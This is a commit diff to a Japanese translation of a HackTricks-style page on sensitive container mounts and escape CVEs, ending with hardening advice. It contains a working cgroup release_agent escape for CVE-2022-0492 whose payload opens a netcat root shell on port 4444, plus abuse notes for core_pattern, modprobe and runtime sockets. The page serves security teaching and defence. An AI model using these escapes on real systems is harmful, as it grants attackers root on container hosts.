Translated ['src/linux-hardening/privilege-escalation/docker-security/do

This commit is contained in:
Translator 2025-07-29 10:27:10 +00:00
parent 0650bb7386
commit 5c1aa80aff

View File

@ -15,7 +15,7 @@
#### **`/proc/sys/kernel/core_pattern`**
- [core(5)](https://man7.org/linux/man-pages/man5/core.5.html)で説明されています。
- このファイルに書き込むことができる場合、クラッシュが発生した後に実行されるプログラムやスクリプトへのパスの後にパイプ`|`を書き込むことが可能です。
- このファイルに書き込むことができる場合、パイプ`|`の後にプログラムまたはスクリプトのパスを書き込むことが可能で、クラッシュが発生した後に実行されます。
- 攻撃者は、`mount`を実行してホスト内のコンテナへのパスを見つけ、そのパスをコンテナのファイルシステム内のバイナリに書き込むことができます。その後、プログラムをクラッシュさせてカーネルがコンテナの外でバイナリを実行するようにします。
- **テストと悪用の例**:
@ -40,7 +40,7 @@ return 0;
#### **`/proc/sys/kernel/modprobe`**
- [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html)で詳述されています。
- カーネルモジュールをロードするために呼び出されるカーネルモジュールローダーへのパスを含みます。
- カーネルモジュールローダーへのパスを含み、カーネルモジュールをロードするために呼び出されます。
- **アクセス確認の例**:
```bash
@ -59,7 +59,7 @@ ls -l $(cat /proc/sys/kernel/modprobe) # modprobeへのアクセスを確認
#### **`/proc/sys/fs/binfmt_misc`**
- マジックナンバーに基づいて非ネイティブバイナリフォーマットのインタープリタを登録することを許可します。
- マジックナンバーに基づいて非ネイティブバイナリ形式のインタープリターを登録することを許可します。
- `/proc/sys/fs/binfmt_misc/register`が書き込み可能な場合、特権昇格やルートシェルアクセスにつながる可能性があります。
- 関連するエクスプロイトと説明:
- [Poor man's rootkit via binfmt_misc](https://github.com/toffan/binfmt_misc)
@ -90,7 +90,7 @@ echo b > /proc/sysrq-trigger # ホストを再起動
- カーネルがエクスポートしたシンボルとそのアドレスをリストします。
- KASLRを克服するためのカーネルエクスプロイト開発に不可欠です。
- アドレス情報は`kptr_restrict``1`または`2`に設定されている場合に制限されます。
- アドレス情報は`kptr_restrict``1`または`2`に設定されている場合に制限されます。
- [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html)の詳細。
#### **`/proc/[pid]/mem`**
@ -109,7 +109,7 @@ echo b > /proc/sysrq-trigger # ホストを再起動
#### **`/proc/kmem`**
- カーネル仮想メモリを表す`/dev/kmem`の代替インターフェースです。
- 読み取りと書き込みが可能で、したがってカーネルメモリの直接変更が可能です。
- 読み取りと書き込みが可能で、カーネルメモリの直接変更を許可します。
#### **`/proc/mem`**
@ -291,11 +291,12 @@ locate the other containers' filesystems and SA / web identity tokens
Mounting certain host Unix sockets or writable pseudo-filesystems is equivalent to giving the container full root on the node. **Treat the following paths as highly sensitive and never expose them to untrusted workloads**:
```text
/ run/containerd/containerd.sock # containerd CRI ソケット
/ var/run/crio/crio.sock # CRI-O ランタイムソケット
/ run/podman/podman.sock # Podman API (rootful または rootless)
/ var/run/kubelet.sock # Kubernetes ノード上の Kubelet API
/ run/firecracker-containerd.sock # Kata / Firecracker
/run/containerd/containerd.sock # containerd CRI ソケット
/var/run/crio/crio.sock # CRI-O ランタイムソケット
/run/podman/podman.sock # Podman API (rootful または rootless)
/run/buildkit/buildkitd.sock # BuildKit デーモン (rootful)
/var/run/kubelet.sock # Kubernetes ノード上の Kubelet API
/run/firecracker-containerd.sock # Kata / Firecracker
```
Attack example abusing a mounted **containerd** socket:
@ -313,13 +314,13 @@ A similar technique works with **crictl**, **podman** or the **kubelet** API onc
Writable **cgroup v1** mounts are also dangerous. If `/sys/fs/cgroup` is bind-mounted **rw** and the host kernel is vulnerable to **CVE-2022-0492**, an attacker can set a malicious `release_agent` and execute arbitrary code in the *initial* namespace:
```bash
# assuming the container has CAP_SYS_ADMIN and a vulnerable kernel
# コンテナが CAP_SYS_ADMIN を持ち、脆弱なカーネルを持っていると仮定する
mkdir -p /tmp/x && echo 1 > /tmp/x/notify_on_release
echo '/tmp/pwn' > /sys/fs/cgroup/release_agent # requires CVE-2022-0492
echo '/tmp/pwn' > /sys/fs/cgroup/release_agent # CVE-2022-0492 が必要
echo -e '#!/bin/sh\nnc -lp 4444 -e /bin/sh' > /tmp/pwn && chmod +x /tmp/pwn
sh -c "echo 0 > /tmp/x/cgroup.procs" # triggers the empty-cgroup event
sh -c "echo 0 > /tmp/x/cgroup.procs" # empty-cgroup イベントをトリガーする
```
When the last process leaves the cgroup, `/tmp/pwn` runs **as root on the host**. Patched kernels (>5.8 with commit `32a0db39f30d`) validate the writers capabilities and block this abuse.
@ -327,7 +328,7 @@ When the last process leaves the cgroup, `/tmp/pwn` runs **as root on the host**
### Mount-Related Escape CVEs (2023-2025)
* **CVE-2024-21626 runc “Leaky Vessels” file-descriptor leak**
runc ≤1.1.11 leaked an open directory file descriptor that could point to the host root. A malicious image or `docker exec` could start a container whose *working directory* is already on the host filesystem, enabling arbitrary file read/write and privilege escalation. Fixed in runc 1.1.12 (Docker ≥25.0.3, containerd ≥1.7.14).
runc ≤ 1.1.11 leaked an open directory file descriptor that could point to the host root. A malicious image or `docker exec` could start a container whose *working directory* is already on the host filesystem, enabling arbitrary file read/write and privilege escalation. Fixed in runc 1.1.12 (Docker ≥ 25.0.3, containerd ≥ 1.7.14).
```Dockerfile
FROM scratch
@ -338,11 +339,17 @@ CMD ["/bin/sh"]
* **CVE-2024-23651 / 23653 BuildKit OverlayFS copy-up TOCTOU**
A race condition in the BuildKit snapshotter let an attacker replace a file that was about to be *copy-up* into the containers rootfs with a symlink to an arbitrary path on the host, gaining write access outside the build context. Fixed in BuildKit v0.12.5 / Buildx 0.12.0. Exploitation requires an untrusted `docker build` on a vulnerable daemon.
* **CVE-2024-1753 Buildah / Podman bind-mount breakout during `build`**
Buildah ≤ 1.35.0 (and Podman ≤ 4.9.3) incorrectly resolved absolute paths passed to `--mount=type=bind` in a *Containerfile*. A crafted build stage could mount `/` from the host **read-write** inside the build container when SELinux was disabled or in permissive mode, leading to full escape at build time. Patched in Buildah 1.35.1 and the corresponding Podman 4.9.4 back-port series.
* **CVE-2024-40635 containerd UID integer overflow**
Supplying a `User` value larger than `2147483647` in an image config overflowed the 32-bit signed integer and started the process as UID 0 inside the host user namespace. Workloads expected to run as non-root could therefore obtain root privileges. Fixed in containerd 1.6.38 / 1.7.27 / 2.0.4.
### Hardening Reminders (2025)
1. Bind-mount host paths **read-only** whenever possible and add `nosuid,nodev,noexec` mount options.
2. Prefer dedicated side-car proxies or rootless clients instead of exposing the runtime socket directly.
3. Keep the container runtime up-to-date (runc ≥1.1.12, BuildKit ≥0.12.5, containerd ≥1.7.14).
3. Keep the container runtime up-to-date (runc ≥ 1.1.12, BuildKit ≥ 0.12.5, Buildah ≥ 1.35.1 / Podman ≥ 4.9.4, containerd ≥ 1.7.27).
4. In Kubernetes, use `securityContext.readOnlyRootFilesystem: true`, the *restricted* PodSecurity profile and avoid `hostPath` volumes pointing to the paths listed above.
### References
@ -352,5 +359,7 @@ A race condition in the BuildKit snapshotter let an attacker replace a file that
- [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)
- [Understanding and Hardening Linux Containers](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc_group_understanding_hardening_linux_containers-1-1.pdf)
- [Abusing Privileged and Unprivileged Linux Containers](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container_whitepaper.pdf)
- [Buildah CVE-2024-1753 advisory](https://github.com/containers/buildah/security/advisories/GHSA-pmf3-c36m-g5cf)
- [containerd CVE-2024-40635 advisory](https://github.com/containerd/containerd/security/advisories/GHSA-265r-hfxg-fhmg)
{{#include ../../../../banners/hacktricks-training.md}}